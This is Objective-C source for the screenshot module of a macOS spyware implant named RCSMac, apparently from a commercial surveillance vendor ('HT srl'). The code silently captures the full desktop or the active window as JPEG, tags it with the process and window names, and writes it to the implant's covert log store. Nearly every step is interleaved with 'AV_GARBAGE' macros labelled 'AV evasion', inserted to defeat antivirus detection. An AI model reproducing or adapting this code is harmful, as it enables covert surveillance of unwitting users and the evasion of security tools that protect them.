/*
 * RCSMac - Screenshot agent
 * 
 *
 * Created by Alfredo 'revenge' Pesoli on 23/04/2009
 *  Modified by Massimo Chiodini
 *
 * Copyright (C) HT srl 2009. All rights reserved
 *
 */

#import "RCSMAgentScreenshot.h"

#import "RCSMCommon.h"
#import "RCSMLogger.h"
#import "RCSMDebug.h"

#import "RCSMAVGarbage.h"

static __m_MAgentScreenshot *sharedAgentScreenshot = nil;

// See SonOfGrab! http://developer.apple.com/samplecode/SonOfGrab/listing3.html

@interface __m_MAgentScreenshot (hidden)

- (BOOL)_grabScreenshot: (BOOL)entireDesktop;

@end

@implementation __m_MAgentScreenshot (hidden)

- (BOOL)_grabScreenshot: (BOOL)entireDesktop
{
  NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
  screenshotAdditionalStruct *agentAdditionalHeader;
  
  CGImageRef screenShot;
  NSBitmapImageRep *bitmapRep;
  NSMutableData *imageData;
  NSString *processName;
  NSString *windowName;
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
    if (entireDesktop == YES)
    {
        // AV evasion: only on release build
        AV_GARBAGE_001

        screenShot = CGWindowListCreateImage(CGRectInfinite,
                                           kCGWindowListOptionOnScreenOnly,
                                           kCGNullWindowID,
                                           kCGWindowImageDefault);   
      
        // AV evasion: only on release build
        AV_GARBAGE_002
      
        NSDictionary *windowInfo = getActiveWindowInfo();
        unsigned int windowId=0;
        sleep(1);
        if(windowInfo != nil)
        {
            windowId = [[windowInfo objectForKey: @"windowID"] unsignedIntValue];
        }
        // AV evasion: only on release build
        AV_GARBAGE_003
        
        if( (windowInfo == nil) || (windowId == 0))
        {
            processName = [[NSString alloc] initWithString: @"Desktop"];
      
            // AV evasion: only on release build
            AV_GARBAGE_003
      
            windowName  = [[NSString alloc] initWithString: @"Desktop"];
        }
        else
        {
            // AV evasion: only on release build
            AV_GARBAGE_001
            
            processName = [[windowInfo objectForKey: @"processName"] retain];
            
            // AV evasion: only on release build
            AV_GARBAGE_003
            
            windowName  = [[windowInfo objectForKey: @"windowName"] retain];
            
        }
    }
    else
    {   
        // AV evasion: only on release build
        AV_GARBAGE_004
    
        NSDictionary *windowInfo;
      
        //
        // Looks like it's better to wait at least a second in order to be sure
        // to get the window on the desktop in case of onProcess->Screenshot
        //
        sleep(1);
      
        // AV evasion: only on release build
        AV_GARBAGE_003
      
        if ((windowInfo = getActiveWindowInfo()) == nil)
        {
            // AV evasion: only on release build
            AV_GARBAGE_005
          
            return NO;
        }
      
        // AV evasion: only on release build
        AV_GARBAGE_004
      
        if ([[windowInfo objectForKey: @"windowID"] unsignedIntValue] == 0)
        {  
            // AV evasion: only on release build
            AV_GARBAGE_006
          
            return NO;
        }
      
        // AV evasion: only on release build
        AV_GARBAGE_002
      
        screenShot = CGWindowListCreateImage(CGRectNull,
                                           kCGWindowListOptionIncludingWindow,
                                           [[windowInfo objectForKey: @"windowID"] unsignedIntValue],
                                           kCGWindowImageBoundsIgnoreFraming);
      
        // AV evasion: only on release build
        AV_GARBAGE_001
      
        processName = [[windowInfo objectForKey: @"processName"] retain];
      
        // AV evasion: only on release build
        AV_GARBAGE_003
      
        windowName  = [[windowInfo objectForKey: @"windowName"] retain];
      
        // AV evasion: only on release build
        AV_GARBAGE_008
      
        //[windowInfo release];
    }
  
  // AV evasion: only on release build
  AV_GARBAGE_007
  
  if (screenShot == NULL)
    {   
      // AV evasion: only on release build
      AV_GARBAGE_001
    
      return NO;
    }
  
  bitmapRep = [[NSBitmapImageRep alloc] initWithCGImage: screenShot];
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  NSData *tempData = [bitmapRep representationUsingType: NSJPEGFileType
                                             properties: nil];
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  imageData = [NSMutableData dataWithData: tempData];
  
  // AV evasion: only on release build
  AV_GARBAGE_009
  
  //
  // Fill in the agent additional header
  //
  NSMutableData *rawAdditionalHeader = [NSMutableData dataWithLength: sizeof(screenshotAdditionalStruct) +
                                                                      [processName lengthOfBytesUsingEncoding: NSUTF16LittleEndianStringEncoding] +
                                                                      [windowName lengthOfBytesUsingEncoding: NSUTF16LittleEndianStringEncoding]];
  
  // AV evasion: only on release build
  AV_GARBAGE_001
  
  int processNameLength = [processName lengthOfBytesUsingEncoding: NSUTF16LittleEndianStringEncoding];
  
  // AV evasion: only on release build
  AV_GARBAGE_002
  
  int windowNameLength  = [windowName lengthOfBytesUsingEncoding: NSUTF16LittleEndianStringEncoding];
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  agentAdditionalHeader = (screenshotAdditionalStruct *)[rawAdditionalHeader bytes];
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  agentAdditionalHeader->version = LOG_SCREENSHOT_VERSION;
  agentAdditionalHeader->processNameLength = processNameLength;
  
  // AV evasion: only on release build
  AV_GARBAGE_008
  
  agentAdditionalHeader->windowNameLength  = windowNameLength;
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  // Unfortunately we have to use replaceBytesInRange and mess with size
  // instead of doing a raw appendData
  [rawAdditionalHeader replaceBytesInRange: NSMakeRange(sizeof(screenshotAdditionalStruct), processNameLength)
                                 withBytes: [[processName dataUsingEncoding: NSUTF16LittleEndianStringEncoding] bytes]];
  
  // AV evasion: only on release build
  AV_GARBAGE_008
  
  [rawAdditionalHeader replaceBytesInRange: NSMakeRange(sizeof(screenshotAdditionalStruct) + processNameLength, windowNameLength)
                                 withBytes: [[windowName dataUsingEncoding: NSUTF16LittleEndianStringEncoding] bytes]];
  
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  __m_MLogManager *logManager = [__m_MLogManager sharedInstance];
  
  // AV evasion: only on release build
  AV_GARBAGE_001
  
  BOOL success = [logManager createLog: AGENT_SCREENSHOT
                           agentHeader: rawAdditionalHeader
                             withLogID: 0];
  
  // AV evasion: only on release build
  AV_GARBAGE_006
  
  if (success == TRUE)
    {      
      // AV evasion: only on release build
      AV_GARBAGE_000
      
      if ([logManager writeDataToLog: imageData
                            forAgent: AGENT_SCREENSHOT
                           withLogID: 0] == TRUE)
        {
#ifdef DEBUG_SCREENSHOT
          infoLog(@"data written correctly");
#endif        
        }
      
      // AV evasion: only on release build
      AV_GARBAGE_001
      
      [logManager closeActiveLog: AGENT_SCREENSHOT
                       withLogID: 0];
    }
  
  // AV evasion: only on release build
  AV_GARBAGE_009
  
  [bitmapRep release];
  CGImageRelease(screenShot);
  
  // AV evasion: only on release build
  AV_GARBAGE_001
  
  [processName release];
  [windowName release];
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  [outerPool release];
  return YES;
}

@end

@implementation __m_MAgentScreenshot

#pragma mark -
#pragma mark Class and init methods
#pragma mark -

+ (__m_MAgentScreenshot *)sharedInstance
{
  @synchronized(self)
  {
    if (sharedAgentScreenshot == nil)
      {
        //
        // Assignment is not done here
        //
        [[self alloc] init];
      }
  }
  
  return sharedAgentScreenshot;
}

+ (id)allocWithZone: (NSZone *)aZone
{
  @synchronized(self)
  {
    if (sharedAgentScreenshot == nil)
      {
        sharedAgentScreenshot = [super allocWithZone: aZone];
        
        //
        // Assignment and return on first allocation
        //
        return sharedAgentScreenshot;
      }
  }
  
  // On subsequent allocation attemps return nil
  return nil;
}

- (id)copyWithZone: (NSZone *)aZone
{
  return self;
}

- (unsigned)retainCount
{
  // Denotes an object that cannot be released
  return UINT_MAX;
}

- (id)retain
{
  return self;
}

- (id)autorelease
{
  return self;
}

- (void)release
{
  // Do nothing
}

#pragma mark -
#pragma mark Agent Formal Protocol Methods
#pragma mark -

- (BOOL)stop
{
  int internalCounter = 0;
  
  // AV evasion: only on release build
  AV_GARBAGE_001
  
  [mAgentConfiguration setObject: AGENT_STOP
                          forKey: @"status"];
  
  // AV evasion: only on release build
  AV_GARBAGE_002
  
    while (![[mAgentConfiguration objectForKey: @"status"] isEqual: AGENT_STOPPED]
         && internalCounter <= mSleepSec)
  {
    internalCounter++;
    sleep(1);
  }
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  return YES;
}

- (void)start
{
  NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  [mAgentConfiguration setObject: AGENT_RUNNING forKey: @"status"];
  
  // AV evasion: only on release build
  AV_GARBAGE_001
  
  screenshotStruct *screenshotRawData;
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  screenshotRawData = (screenshotStruct *)[[mAgentConfiguration objectForKey: @"data"] bytes];
  
  // AV evasion: only on release build
  AV_GARBAGE_002
  
  BOOL grabEntireDesktop = (screenshotRawData->grabActiveWindow == 0)  ? TRUE : FALSE;
  
  // AV evasion: only on release build
  AV_GARBAGE_007
  
  [self _grabScreenshot: grabEntireDesktop];
  
  // AV evasion: only on release build
  AV_GARBAGE_009
  
  [mAgentConfiguration setObject: AGENT_STOPPED forKey: @"status"];

  // AV evasion: only on release build
  AV_GARBAGE_005
  
  [outerPool release];
}

- (BOOL)resume
{
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  return YES;
}

#pragma mark -
#pragma mark Getter/Setter
#pragma mark -

- (void)setAgentConfiguration: (NSMutableDictionary *)aConfiguration
{
  if (aConfiguration != mAgentConfiguration)
    {   
      // AV evasion: only on release build
      AV_GARBAGE_002
    
      [mAgentConfiguration release];
      
      // AV evasion: only on release build
      AV_GARBAGE_003
      
      mAgentConfiguration = [aConfiguration retain];
    }
}

- (NSMutableDictionary *)mAgentConfiguration
{   
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  return mAgentConfiguration;
}

@end
